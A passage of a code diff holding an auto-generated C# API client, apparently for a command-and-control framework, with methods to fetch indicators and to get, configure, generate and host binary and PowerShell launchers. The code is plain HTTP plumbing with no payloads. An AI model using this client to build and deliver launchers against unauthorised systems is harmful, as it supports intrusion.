/// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiIndicatorsTargetsByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiIndicatorsTargetsByIdGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Indicators/targets/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiLaunchersGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersBinaryGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersBinaryGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/binary").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersBinaryPutWithHttpMessagesAsync(BinaryLauncher binaryLauncher = default(BinaryLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("binaryLauncher", binaryLauncher); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersBinaryPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/binary").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(binaryLauncher != null) + { + _requestContent = SafeJsonConvert.SerializeObject(binaryLauncher, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersBinaryPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersBinaryPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/binary").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersBinaryHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("hostedFile", hostedFile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersBinaryHostedPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/binary/hosted").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(hostedFile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(hostedFile, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersPowershellGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersPowershellGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/powershell").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersPowershellPutWithHttpMessagesAsync(PowerShellLauncher powerShellLauncher = default(PowerShellLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("powerShellLauncher", powerShellLauncher); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersPowershellPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/powershell").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(powerShellLauncher != null) + { + _requestContent = SafeJsonConvert.SerializeObject(powerShellLauncher, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersPowershellPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersPowershellPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/powershell").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var 